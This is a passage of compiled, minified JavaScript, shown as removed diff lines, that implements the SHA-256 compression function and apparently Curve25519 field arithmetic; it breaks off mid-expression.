a4[t7 + 152 >> 2] = Y5 - W3, a4[t7 + 148 >> 2] = G5 - T3, a4[t7 + 144 >> 2] = H5 - ot3, a4[t7 + 140 >> 2] = R5 - st3, a4[t7 + 136 >> 2] = x5 - at3, a4[t7 + 132 >> 2] = M5 - ct3, a4[t7 + 128 >> 2] = N6 - At3, a4[t7 + 124 >> 2] = S5 - ht3, a4[t7 + 120 >> 2] = e6 - O5, I4 = r11 + 48 | 0; - } - function Q4(t7, e6, r11, n9) { - var A8 = 0, i4 = 0, o5 = 0, s5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0, v5 = 0, _5 = 0, Q5 = 0, b5 = 0, k5 = 0, D5 = 0, S5 = 0, N6 = 0, M5 = 0; - for (A8 = c4[0 | e6] | c4[e6 + 1 | 0] << 8 | c4[e6 + 2 | 0] << 16 | c4[e6 + 3 | 0] << 24, a4[r11 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 4 | 0] | c4[e6 + 5 | 0] << 8 | c4[e6 + 6 | 0] << 16 | c4[e6 + 7 | 0] << 24, a4[r11 + 4 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 8 | 0] | c4[e6 + 9 | 0] << 8 | c4[e6 + 10 | 0] << 16 | c4[e6 + 11 | 0] << 24, a4[r11 + 8 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 12 | 0] | c4[e6 + 13 | 0] << 8 | c4[e6 + 14 | 0] << 16 | c4[e6 + 15 | 0] << 24, a4[r11 + 12 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 16 | 0] | c4[e6 + 17 | 0] << 8 | c4[e6 + 18 | 0] << 16 | c4[e6 + 19 | 0] << 24, a4[r11 + 16 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 20 | 0] | c4[e6 + 21 | 0] << 8 | c4[e6 + 22 | 0] << 16 | c4[e6 + 23 | 0] << 24, a4[r11 + 20 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 24 | 0] | c4[e6 + 25 | 0] << 8 | c4[e6 + 26 | 0] << 16 | c4[e6 + 27 | 0] << 24, a4[r11 + 24 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 28 | 0] | c4[e6 + 29 | 0] << 8 | c4[e6 + 30 | 0] << 16 | c4[e6 + 31 | 0] << 24, a4[r11 + 28 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 32 | 0] | c4[e6 + 33 | 0] << 8 | c4[e6 + 34 | 0] << 16 | c4[e6 + 35 | 0] << 24, a4[r11 + 32 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 36 | 0] | c4[e6 + 37 | 0] << 8 | c4[e6 + 38 | 0] << 16 | c4[e6 + 39 | 0] << 24, a4[r11 + 36 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 40 | 0] | c4[e6 + 41 | 0] << 8 | c4[e6 + 42 | 0] << 16 | c4[e6 + 43 | 0] << 24, a4[r11 + 40 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 44 | 0] | c4[e6 + 45 | 0] << 8 | c4[e6 + 46 | 0] << 16 | c4[e6 + 47 | 0] << 24, a4[r11 + 44 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 48 | 0] | c4[e6 + 49 | 0] << 8 | c4[e6 + 50 | 0] << 16 | c4[e6 + 51 | 0] << 24, a4[r11 + 48 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 52 | 0] | c4[e6 + 53 | 0] << 8 | c4[e6 + 54 | 0] << 16 | c4[e6 + 55 | 0] << 24, a4[r11 + 52 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, A8 = c4[e6 + 56 | 0] | c4[e6 + 57 | 0] << 8 | c4[e6 + 58 | 0] << 16 | c4[e6 + 59 | 0] << 24, a4[r11 + 56 >> 2] = A8 << 24 | (65280 & A8) << 8 | A8 >>> 8 & 65280 | A8 >>> 24, e6 = c4[e6 + 60 | 0] | c4[e6 + 61 | 0] << 8 | c4[e6 + 62 | 0] << 16 | c4[e6 + 63 | 0] << 24, a4[r11 + 60 >> 2] = e6 << 24 | (65280 & e6) << 8 | e6 >>> 8 & 65280 | e6 >>> 24, e6 = a4[t7 + 28 >> 2], a4[n9 + 24 >> 2] = a4[t7 + 24 >> 2], a4[n9 + 28 >> 2] = e6, e6 = a4[t7 + 20 >> 2], a4[n9 + 16 >> 2] = a4[t7 + 16 >> 2], a4[n9 + 20 >> 2] = e6, e6 = a4[t7 + 12 >> 2], a4[n9 + 8 >> 2] = a4[t7 + 8 >> 2], a4[n9 + 12 >> 2] = e6, e6 = a4[t7 + 4 >> 2], a4[n9 >> 2] = a4[t7 >> 2], a4[n9 + 4 >> 2] = e6; h5 = a4[n9 + 28 >> 2], A8 = (e6 = E5 << 2) + r11 | 0, o5 = a4[n9 + 16 >> 2], g5 = a4[A8 >> 2] + (Gt2(o5, 26) ^ Gt2(o5, 21) ^ Gt2(o5, 7)) | 0, l5 = (h5 = ((i4 = a4[e6 + 33968 >> 2] + g5 | 0) + (o5 & ((g5 = a4[n9 + 24 >> 2]) ^ (f5 = a4[n9 + 20 >> 2])) ^ g5) | 0) + h5 | 0) + a4[n9 + 12 >> 2] | 0, a4[n9 + 12 >> 2] = l5, h5 = (d5 = h5 + (Gt2(u5 = a4[n9 >> 2], 30) ^ Gt2(u5, 19) ^ Gt2(u5, 10)) | 0) + (u5 & ((i4 = a4[n9 + 8 >> 2]) | (s5 = a4[n9 + 4 >> 2])) | i4 & s5) | 0, a4[n9 + 28 >> 2] = h5, i4 = (d5 = i4) + (g5 = (a4[(y5 = (i4 = 4 | e6) + r11 | 0) >> 2] + ((g5 + (f5 ^ l5 & (o5 ^ f5)) | 0) + (Gt2(l5, 26) ^ Gt2(l5, 21) ^ Gt2(l5, 7)) | 0) | 0) + a4[i4 + 33968 >> 2] | 0) | 0, a4[n9 + 8 >> 2] = i4, g5 = (g5 + (h5 & (s5 | u5) | s5 & u5) | 0) + (Gt2(h5, 30) ^ Gt2(h5, 19) ^ Gt2(h5, 10)) | 0, a4[n9 + 24 >> 2] = g5, f5 = (d5 = s5) + (s5 = (((f5 + a4[(B5 = (s5 = 8 | e6) + r11 | 0) >> 2] | 0) + a4[s5 + 33968 >> 2] | 0) + (o5 ^ i4 & (o5 ^ l5)) | 0) + (Gt2(i4, 26) ^ Gt2(i4, 21) ^ Gt2(i4, 7)) | 0) | 0, a4[n9 + 4 >> 2] = f5, s5 = s5 + ((g5 & (h5 | u5) | h5 & u5) + (Gt2(g5, 30) ^ Gt2(g5, 19) ^ Gt2(g5, 10)) | 0) | 0, a4[n9 + 20 >> 2] = s5, o5 = (d5 = u5) + (u5 = (((o5 + a4[(w5 = (u5 = 12 | e6) + r11 | 0) >> 2] | 0) + a4[u5 + 33968 >> 2] | 0) + (l5 ^ f5 & (i4 ^ l5)) | 0) + (Gt2(f5, 26) ^ Gt2(f5, 21) ^ Gt2(f5, 7)) | 0) | 0, a4[n9 >> 2] = o5, u5 = u5 + ((s5 & (h5 | g5) | h5 & g5) + (Gt2(s5, 30) ^ Gt2(s5, 19) ^ Gt2(s5, 10)) | 0) | 0, a4[n9 + 16 >> 2] = u5, l5 = (p5 = ((((d5 = l5) + a4[(v5 = (l5 = 16 | e6) + r11 | 0) >> 2] | 0) + a4[l5 + 33968 >> 2] | 0) + (i4 ^ o5 & (i4 ^ f5)) | 0) + (Gt2(o5, 26) ^ Gt2(o5, 21) ^ Gt2(o5, 7)) | 0) + ((u5 & (s5 | g5) | s5 & g5) + (Gt2(u5, 30) ^ Gt2(u5, 19) ^ Gt2(u5, 10)) | 0) | 0, a4[n9 + 12 >> 2] = l5, p5 = h5 + p5 | 0, a4[n9 + 28 >> 2] = p5, h5 = (i4 = (((i4 + a4[(_5 = (h5 = 20 | e6) + r11 | 0) >> 2] | 0) + a4[h5 + 33968 >> 2] | 0) + (f5 ^ p5 & (o5 ^ f5)) | 0) + (Gt2(p5, 26) ^ Gt2(p5, 21) ^ Gt2(p5, 7)) | 0) + ((l5 & (s5 | u5) | s5 & u5) + (Gt2(l5, 30) ^ Gt2(l5, 19) ^ Gt2(l5, 10)) | 0) | 0, a4[n9 + 8 >> 2] = h5, i4 = i4 + g5 | 0, a4[n9 + 24 >> 2] = i4, g5 = (f5 = (((f5 + a4[(Q5 = (g5 = 24 | e6) + r11 | 0) >> 2] | 0) + a4[g5 + 33968 >> 2] | 0) + (o5 ^ i4 & (o5 ^ p5)) | 0) + (Gt2(i4, 26) ^ Gt2(i4, 21) ^ Gt2(i4, 7)) | 0) + ((h5 & (u5 | l5) | u5 & l5) + (Gt2(h5, 30) ^ Gt2(h5, 19) ^ Gt2(h5, 10)) | 0) | 0, a4[n9 + 4 >> 2] = g5, f5 = s5 + f5 | 0, a4[n9 + 20 >> 2] = f5, s5 = (o5 = (((o5 + a4[(b5 = (s5 = 28 | e6) + r11 | 0) >> 2] | 0) + a4[s5 + 33968 >> 2] | 0) + (p5 ^ f5 & (i4 ^ p5)) | 0) + (Gt2(f5, 26) ^ Gt2(f5, 21) ^ Gt2(f5, 7)) | 0) + ((g5 & (h5 | l5) | h5 & l5) + (Gt2(g5, 30) ^ Gt2(g5, 19) ^ Gt2(g5, 10)) | 0) | 0, a4[n9 >> 2] = s5, o5 = o5 + u5 | 0, a4[n9 + 16 >> 2] = o5, u5 = (p5 = (((p5 + a4[(k5 = (u5 = 32 | e6) + r11 | 0) >> 2] | 0) + a4[u5 + 33968 >> 2] | 0) + (i4 ^ o5 & (i4 ^ f5)) | 0) + (Gt2(o5, 26) ^ Gt2(o5, 21) ^ Gt2(o5, 7)) | 0) + ((s5 & (h5 | g5) | h5 & g5) + (Gt2(s5, 30) ^ Gt2(s5, 19) ^ Gt2(s5, 10)) | 0) | 0, a4[n9 + 28 >> 2] = u5, p5 = l5 + p5 | 0, a4[n9 + 12 >> 2] = p5, l5 = (i4 = (((i4 + a4[(D5 = (l5 = 36 | e6) + r11 | 0) >> 2] | 0) + a4[l5 + 33968 >> 2] | 0) + (f5 ^ p5 & (o5 ^ f5)) | 0) + (Gt2(p5, 26) ^ Gt2(p5, 21) ^ Gt2(p5, 7)) | 0) + ((u5 & (s5 | g5) | s5 & g5) + (Gt2(u5, 30) ^ Gt2(u5, 19) ^ Gt2(u5, 10)) | 0) | 0, a4[n9 + 24 >> 2] = l5, i4 = i4 + h5 | 0, a4[n9 + 8 >> 2] = i4, h5 = (f5 = (((f5 + a4[(S5 = (h5 = 40 | e6) + r11 | 0) >> 2] | 0) + a4[h5 + 33968 >> 2] | 0) + (o5 ^ i4 & (o5 ^ p5)) | 0) + (Gt2(i4, 26) ^ Gt2(i4, 21) ^ Gt2(i4, 7)) | 0) + ((l5 & (s5 | u5) | s5 & u5) + (Gt2(l5, 30) ^ Gt2(l5, 19) ^ Gt2(l5, 10)) | 0) | 0, a4[n9 + 20 >> 2] = h5, f5 = g5 + f5 | 0, a4[n9 + 4 >> 2] = f5, d5 = (g5 = 44 | e6) + r11 | 0, g5 = (o5 = ((o5 + (a4[g5 + 33968 >> 2] + a4[d5 >> 2] | 0) | 0) + (p5 ^ f5 & (i4 ^ p5)) | 0) + (Gt2(f5, 26) ^ Gt2(f5, 21) ^ Gt2(f5, 7)) | 0) + ((h5 & (u5 | l5) | u5 & l5) + (Gt2(h5, 30) ^ Gt2(h5, 19) ^ Gt2(h5, 10)) | 0) | 0, a4[n9 + 16 >> 2] = g5, s5 = s5 + o5 | 0, a4[n9 >> 2] = s5, m5 = (o5 = 48 | e6) + r11 | 0, o5 = (p5 = ((p5 + (a4[o5 + 33968 >> 2] + a4[m5 >> 2] | 0) | 0) + (i4 ^ s5 & (i4 ^ f5)) | 0) + (Gt2(s5, 26) ^ Gt2(s5, 21) ^ Gt2(s5, 7)) | 0) + ((g5 & (h5 | l5) | h5 & l5) + (Gt2(g5, 30) ^ Gt2(g5, 19) ^ Gt2(g5, 10)) | 0) | 0, a4[n9 + 12 >> 2] = o5, u5 = u5 + p5 | 0, a4[n9 + 28 >> 2] = u5, C5 = (p5 = 52 | e6) + r11 | 0, i4 = (p5 = (((a4[p5 + 33968 >> 2] + a4[C5 >> 2] | 0) + i4 | 0) + (f5 ^ u5 & (s5 ^ f5)) | 0) + (Gt2(u5, 26) ^ Gt2(u5, 21) ^ Gt2(u5, 7)) | 0) + ((o5 & (h5 | g5) | h5 & g5) + (Gt2(o5, 30) ^ Gt2(o5, 19) ^ Gt2(o5, 10)) | 0) | 0, a4[n9 + 8 >> 2] = i4, l5 = l5 + p5 | 0, a4[n9 + 24 >> 2] = l5, p5 = (I5 = 56 | e6) + r11 | 0, f5 = (I5 = (((a4[I5 + 33968 >> 2] + a4[p5 >> 2] | 0) + f5 | 0) + (s5 ^ l5 & (s5 ^ u5)) | 0) + (Gt2(l5, 26) ^ Gt2(l5, 21) ^ Gt2(l5, 7)) | 0) + ((i4 & (g5 | o5) | g5 & o5) + (Gt2(i4, 30) ^ Gt2(i4, 19) ^ Gt2(i4, 10)) | 0) | 0, a4[n9 + 4 >> 2] = f5, h5 = h5 + I5 | 0, a4[n9 + 20 >> 2] = h5, I5 = (e6 |= 60) + r11 | 0, h5 = (e6 = ((s5 + (a4[e6 + 33968 >> 2] + a4[I5 >> 2] | 0) | 0) + (u5 ^ h5 & (u5 ^ l5)) | 0) + (Gt2(h5, 26) ^ Gt2(h5, 21) ^ Gt2(h5, 7)) | 0) + ((f5 & (i4 | o5) | i4 & o5) + (Gt2(f5, 30) ^ Gt2(f5, 19) ^ Gt2(f5, 10)) | 0) | 0, a4[n9 >> 2] = h5, a4[n9 + 16 >> 2] = e6 + g5, 48 != (0 | E5); ) - s5 = a4[D5 >> 2], E5 = E5 + 16 | 0, e6 = a4[p5 >> 2], h5 = (i4 = a4[A8 >> 2] + (s5 + (Gt2(e6, 15) ^ Gt2(e6, 13) ^ e6 >>> 10) | 0) | 0) + (Gt2(g5 = a4[y5 >> 2], 25) ^ Gt2(g5, 14) ^ g5 >>> 3) | 0, a4[(E5 << 2) + r11 >> 2] = h5, l5 = (o5 = (i4 = (u5 = a4[S5 >> 2]) + g5 | 0) + (Gt2(g5 = a4[I5 >> 2], 15) ^ Gt2(g5, 13) ^ g5 >>> 10) | 0) + (Gt2(i4 = a4[B5 >> 2], 25) ^ Gt2(i4, 14) ^ i4 >>> 3) | 0, a4[A8 + 68 >> 2] = l5, f5 = (d5 = ((o5 = i4) + (i4 = a4[d5 >> 2]) | 0) + (Gt2(h5, 15) ^ Gt2(h5, 13) ^ h5 >>> 10) | 0) + (Gt2(o5 = a4[w5 >> 2], 25) ^ Gt2(o5, 14) ^ o5 >>> 3) | 0, a4[A8 + 72 >> 2] = f5, p5 = (I5 = ((d5 = o5) + (o5 = a4[m5 >> 2]) | 0) + (Gt2(l5, 15) ^ Gt2(l5, 13) ^ l5 >>> 10) | 0) + (Gt2(d5 = a4[v5 >> 2], 25) ^ Gt2(d5, 14) ^ d5 >>> 3) | 0, a4[A8 + 76 >> 2] = p5, m5 = (I5 = ((I5 = d5) + (d5 = a4[C5 >> 2]) | 0) + (Gt2(f5, 15) ^ Gt2(f5, 13) ^ f5 >>> 10) | 0) + (Gt2(C5 = a4[_5 >> 2], 25) ^ Gt2(C5, 14) ^ C5 >>> 3) | 0, a4[A8 + 80 >> 2] = m5, C5 = (y5 = (e6 + C5 | 0) + (Gt2(p5, 15) ^ Gt2(p5, 13) ^ p5 >>> 10) | 0) + (Gt2(I5 = a4[Q5 >> 2], 25) ^ Gt2(I5, 14) ^ I5 >>> 3) | 0, a4[A8 + 84 >> 2] = C5, I5 = ((g5 + I5 | 0) + (Gt2(B5 = a4[b5 >> 2], 25) ^ Gt2(B5, 14) ^ B5 >>> 3) | 0) + (Gt2(m5, 15) ^ Gt2(m5, 13) ^ m5 >>> 10) | 0, a4[A8 + 88 >> 2] = I5, l5 = ((y5 = a4[k5 >> 2]) + (l5 + (Gt2(s5, 25) ^ Gt2(s5, 14) ^ s5 >>> 3) | 0) | 0) + (Gt2(I5, 15) ^ Gt2(I5, 13) ^ I5 >>> 10) | 0, a4[A8 + 96 >> 2] = l5, y5 = ((h5 + B5 | 0) + (Gt2(y5, 25) ^ Gt2(y5, 14) ^ y5 >>> 3) | 0) + (Gt2(C5, 15) ^ Gt2(C5, 13) ^ C5 >>> 10) | 0, a4[A8 + 92 >> 2] = y5, p5 = (p5 + (u5 + (Gt2(i4, 25) ^ Gt2(i4, 14) ^ i4 >>> 3) | 0) | 0) + (Gt2(l5, 15) ^ Gt2(l5, 13) ^ l5 >>> 10) | 0, a4[A8 + 104 >> 2] = p5, s5 = (f5 + (s5 + (Gt2(u5, 25) ^ Gt2(u5, 14) ^ u5 >>> 3) | 0) | 0) + (Gt2(y5, 15) ^ Gt2(y5, 13) ^ y5 >>> 10) | 0, a4[A8 + 100 >> 2] = s5, u5 = (C5 + (o5 + (Gt2(d5, 25) ^ Gt2(d5, 14) ^ d5 >>> 3) | 0) | 0) + (Gt2(p5, 15) ^ Gt2(p5, 13) ^ p5 >>> 10) | 0, a4[A8 + 112 >> 2] = u5, s5 = (m5 + (i4 + (Gt2(o5, 25) ^ Gt2(o5, 14) ^ o5 >>> 3) | 0) | 0) + (Gt2(s5, 15) ^ Gt2(s5, 13) ^ s5 >>> 10) | 0, a4[A8 + 108 >> 2] = s5, N6 = A8, M5 = (y5 + (e6 + (Gt2(g5, 25) ^ Gt2(g5, 14) ^ g5 >>> 3) | 0) | 0) + (Gt2(u5, 15) ^ Gt2(u5, 13) ^ u5 >>> 10) | 0, a4[N6 + 120 >> 2] = M5, e6 = (I5 + (d5 + (Gt2(e6, 25) ^ Gt2(e6, 14) ^ e6 >>> 3) | 0) | 0) + (Gt2(s5, 15) ^ Gt2(s5, 13) ^ s5 >>> 10) | 0, a4[A8 + 116 >> 2] = e6, N6 = A8, M5 = (l5 + (g5 + (Gt2(h5, 25) ^ Gt2(h5, 14) ^ h5 >>> 3) | 0) | 0) + (Gt2(e6, 15) ^ Gt2(e6, 13) ^ e6 >>> 10) | 0, a4[N6 + 124 >> 2] = M5; - a4[t7 >> 2] = h5 + a4[t7 >> 2], a4[t7 + 4 >> 2] = a4[t7 + 4 >> 2] + a4[n9 + 4 >> 2], a4[t7 + 8 >> 2] = a4[t7 + 8 >> 2] + a4[n9 + 8 >> 2], a4[t7 + 12 >> 2] = a4[t7 + 12 >> 2] + a4[n9 + 12 >> 2], a4[t7 + 16 >> 2] = a4[t7 + 16 >> 2] + a4[n9 + 16 >> 2], a4[t7 + 20 >> 2] = a4[t7 + 20 >> 2] + a4[n9 + 20 >> 2], a4[t7 + 24 >> 2] = a4[t7 + 24 >> 2] + a4[n9 + 24 >> 2], a4[t7 + 28 >> 2] = a4[t7 + 28 >> 2] + a4[n9 + 28 >> 2]; - } - function b4(t7, e6) { - var r11, n9, A8, i4, o5, s5, c5, h5, u5, l5, f5, p5, d5, I5, C5, m5, B5, E5, w5, v5, _5, Q5, b5, k5, D5, S5, N6, M5, x5, F5, P5, T3, R5 = 0, U5 = 0, G5 = 0, H5 = 0, L5 = 0, O5 = 0, Y5 = 0, K5 = 0, J5 = 0, j5 = 0, z4 = 0, q4 = 0, X3 = 0, V3 = 0, W3 = 0, Z3 = 0, $3 = 0, tt3 = 0, et3 = 0, rt3 = 0, nt3 = 0, At3 = 0; - R5 = Bt2(n9 = (m5 = a4[e6 + 12 >> 2]) << 1, s5 = n9 >> 31, m5, _5 = m5 >> 31), G5 = y4, U5 = (J5 = Bt2(L5 = a4[e6 + 16 >> 2], c5 = L5 >> 31, h5 = (H5 = a4[e6 + 8 >> 2]) << 1, p5 = h5 >> 31)) + R5 | 0, R5 = y4 + G5 | 0, R5 = U5 >>> 0 < J5 >>> 0 ? R5 + 1 | 0 : R5, G5 = (j5 = Bt2(X3 = (u5 = a4[e6 + 20 >> 2]) << 1, d5 = X3 >> 31, J5 = (O5 = a4[e6 + 4 >> 2]) << 1, A8 = J5 >> 31)) + U5 | 0, U5 = y4 + R5 | 0, U5 = G5 >>> 0 < j5 >>> 0 ? U5 + 1 | 0 : U5, Y5 = Bt2(r11 = a4[e6 + 24 >> 2], l5 = r11 >> 31, j5 = (Z3 = a4[e6 >> 2]) << 1, i4 = j5 >> 31), R5 = y4 + U5 | 0, R5 = (G5 = Y5 + G5 | 0) >>> 0 < Y5 >>> 0 ? R5 + 1 | 0 : R5, U5 = G5, I5 = a4[e6 + 32 >> 2], G5 = Bt2(z4 = g4(I5, 19), f5 = z4 >> 31, I5, E5 = I5 >> 31), R5 = y4 + R5 | 0, R5 = (U5 = U5 + G5 | 0) >>> 0 < G5 >>> 0 ? R5 + 1 | 0 : R5, S5 = a4[e6 + 36 >> 2], G5 = Bt2(Y5 = g4(S5, 38), o5 = Y5 >> 31, w5 = (C5 = a4[e6 + 28 >> 2]) << 1, Q5 = w5 >> 31), e6 = y4 + R5 | 0, W3 = U5 = G5 + U5 | 0, G5 = U5 >>> 0 < G5 >>> 0 ? e6 + 1 | 0 : e6, e6 = Bt2(J5, A8, L5, c5), R5 = y4, U5 = Bt2(h5, p5, m5, _5), R5 = y4 + R5 | 0, R5 = (e6 = U5 + e6 | 0) >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5, K5 = Bt2(u5, v5 = u5 >> 31, j5, i4), U5 = y4 + R5 | 0, U5 = (e6 = K5 + e6 | 0) >>> 0 < K5 >>> 0 ? U5 + 1 | 0 : U5, K5 = Bt2(z4, f5, w5, Q5), R5 = y4 + U5 | 0, R5 = (e6 = K5 + e6 | 0) >>> 0 < K5 >>> 0 ? R5 + 1 | 0 : R5, U5 = Bt2(Y5, o5, r11, l5), R5 = y4 + R5 | 0, nt3 = e6 = U5 + e6 | 0, q4 = e6 >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5, R5 = Bt2(J5, A8, n9, s5), U5 = y4, b5 = e6 = H5, H5 = Bt2(e6, V3 = e6 >> 31, e6, V3), e6 = y4 + U5 | 0, e6 = (R5 = H5 + R5 | 0) >>> 0 < H5 >>> 0 ? e6 + 1 | 0 : e6, U5 = (H5 = Bt2(j5, i4, L5, c5)) + R5 | 0, R5 = y4 + e6 | 0, R5 = U5 >>> 0 < H5 >>> 0 ? R5 + 1 | 0 : R5, e6 = (H5 = Bt2(K5 = g4(C5, 38), B5 = K5 >> 31, C5, k5 = C5 >> 31)) + U5 | 0, U5 = y4 + R5 | 0, U5 = e6 >>> 0 < H5 >>> 0 ? U5 + 1 | 0 : U5, e6 = (R5 = e6) + (H5 = Bt2(z4, f5, e6 = r11 << 1, e6 >> 31)) | 0, R5 = y4 + U5 | 0, R5 = e6 >>> 0 < H5 >>> 0 ? R5 + 1 | 0 : R5, U5 = e6, e6 = Bt2(Y5, o5, X3, d5), R5 = y4 + R5 | 0, N6 = U5 = U5 + e6 | 0, M5 = R5 = e6 >>> 0 > U5 >>> 0 ? R5 + 1 | 0 : R5, e6 = R5, x5 = U5 = U5 + 33554432 | 0, F5 = e6 = U5 >>> 0 < 33554432 ? e6 + 1 | 0 : e6, R5 = (R5 = e6 >> 26) + q4 | 0, nt3 = e6 = (U5 = (67108863 & e6) << 6 | U5 >>> 26) + nt3 | 0, R5 = e6 >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5, P5 = e6 = e6 + 16777216 | 0, R5 = (R5 = (U5 = e6 >>> 0 < 16777216 ? R5 + 1 | 0 : R5) >> 25) + G5 | 0, e6 = (e6 = (33554431 & U5) << 7 | e6 >>> 25) >>> 0 > (U5 = e6 + W3 | 0) >>> 0 ? R5 + 1 | 0 : R5, W3 = R5 = U5 + 33554432 | 0, H5 = e6 = R5 >>> 0 < 33554432 ? e6 + 1 | 0 : e6, a4[t7 + 24 >> 2] = U5 - (-67108864 & R5), e6 = Bt2(j5, i4, b5, V3), R5 = y4, G5 = Bt2(J5, A8, O5, $3 = O5 >> 31), U5 = y4 + R5 | 0, U5 = (e6 = G5 + e6 | 0) >>> 0 < G5 >>> 0 ? U5 + 1 | 0 : U5, q4 = Bt2(G5 = g4(r11, 19), rt3 = G5 >> 31, r11, l5), R5 = y4 + U5 | 0, R5 = (e6 = q4 + e6 | 0) >>> 0 < q4 >>> 0 ? R5 + 1 | 0 : R5, U5 = (q4 = Bt2(X3, d5, K5, B5)) + e6 | 0, e6 = y4 + R5 | 0, e6 = U5 >>> 0 < q4 >>> 0 ? e6 + 1 | 0 : e6, tt3 = Bt2(z4, f5, q4 = L5 << 1, D5 = q4 >> 31), R5 = y4 + e6 | 0, R5 = (U5 = tt3 + U5 | 0) >>> 0 < tt3 >>> 0 ? R5 + 1 | 0 : R5, e6 = U5, U5 = Bt2(Y5, o5, n9, s5), R5 = y4 + R5 | 0, et3 = e6 = e6 + U5 | 0, tt3 = e6 >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5, e6 = Bt2(X3, d5, G5, rt3), R5 = y4, O5 = Bt2(j5, i4, O5, $3), U5 = y4 + R5 | 0, U5 = (e6 = O5 + e6 | 0) >>> 0 < O5 >>> 0 ? U5 + 1 | 0 : U5, O5 = Bt2(L5, c5, K5, B5), R5 = y4 + U5 | 0, R5 = (e6 = O5 + e6 | 0) >>> 0 < O5 >>> 0 ? R5 + 1 | 0 : R5, U5 = (O5 = Bt2(z4, f5, n9, s5)) + e6 | 0, e6 = y4 + R5 | 0, e6 = U5 >>> 0 < O5 >>> 0 ? e6 + 1 | 0 : e6, O5 = Bt2(Y5, o5, b5, V3), R5 = y4 + e6 | 0, At3 = U5 = O5 + U5 | 0, $3 = U5 >>> 0 < O5 >>> 0 ? R5 + 1 | 0 : R5, U5 = Bt2(e6 = g4(u5, 38), e6 >> 31, u5, v5), O5 = y4, e6 = Z3, Z3 = U5, U5 = Bt2(e6, R5 = e6 >> 31, e6, R5), R5 = y4 + O5 | 0, R5 = (e6 = Z3 + U5 | 0) >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5, G5 = Bt2(G5, rt3, q4, D5), U5 = y4 + R5 | 0, U5 = (e6 = G5 + e6 | 0) >>> 0 < G5 >>> 0 ? U5 + 1 | 0 : U5, G5 = Bt2(n9, s5, K5, B5), R5 = y4 + U5 | 0, R5 = (e6 = G5 + e6 | 0) >>> 0 < G5 >>> 0 ? R5 + 1 | 0 : R5, U5 = (G5 = Bt2(z4, f5, h5, p5)) + e6 | 0, e6 = y4 + R5 | 0, e6 = U5 >>> 0 < G5 >>> 0 ? e6 + 1 | 0 : e6, G5 = Bt2(J5, A8, Y5, o5), R5 = y4 + e6 | 0, O5 = U5 = G5 + U5 | 0, Z3 = R5 = U5 >>> 0 < G5 >>> 0 ? R5 + 1 | 0 : R5, rt3 = U5 = U5 + 33554432 | 0, T3 = R5 = U5 >>> 0 < 33554432 ? R5 + 1 | 0 : R5, e6 = R5 >> 26, R5 = (67108863 & R5) << 6 | U5 >>> 26, U5 = e6 + $3 | 0, $3 = G5 = R5 + At3 | 0, R5 = R5 >>> 0 > G5 >>> 0 ? U5 + 1 | 0 : U5, At3 = U5 = G5 + 16777216 | 0, G5 = (33554431 & (R5 = U5 >>> 0 < 16777216 ? R5 + 1 | 0 : R5)) << 7 | U5 >>> 25, R5 = (R5 >> 25) + tt3 | 0, R5 = (U5 = G5 + et3 | 0) >>> 0 < G5 >>> 0 ? R5 + 1 | 0 : R5, tt3 = e6 = U5 + 33554432 | 0, G5 = R5 = e6 >>> 0 < 33554432 ? R5 + 1 | 0 : R5, a4[t7 + 8 >> 2] = U5 - (-67108864 & e6), e6 = Bt2(h5, p5, u5, v5), R5 = y4, U5 = Bt2(L5, c5, n9, s5), R5 = y4 + R5 | 0, R5 = (e6 = U5 + e6 | 0) >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5, U5 = Bt2(J5, A8, r11, l5), R5 = y4 + R5 | 0, R5 = (e6 = U5 + e6 | 0) >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5, U5 = Bt2(j5, i4, C5, k5), R5 = y4 + R5 | 0, R5 = (e6 = U5 + e6 | 0) >>> 0 < U5 >>> 0 ? R5 + 1 | 0 : R5, et3 = (U5 = Bt2(Y5, o5, I5, E5)) + e6 | 0, e6 = y4 + R5 | 0, U5 = (R5 = H5 >> 26) + (U5 = U5 >>> 0 > et3 >>> 0 ? e6 + 1 | 0 : e6) | 0, W3 = e6 = (H5 = (67108863 & H5) << 6 | W3 >>> 26) + et3 | 0, R5 = e6 >>> 0 < H5 >>> 0 ? U5 + 1 | 0 : U5, et3 = e6 = e6 + 16777216 | 0, H5 = R5 = e6 >>> 0 < 16777216 ? R5 + 1 | 0 : R5, a4[t7 + 28 >> 2] = W3 - (-33554432 & e6), e6 = Bt2(j5, i4, m5, _5), U5 = y4, R5 = 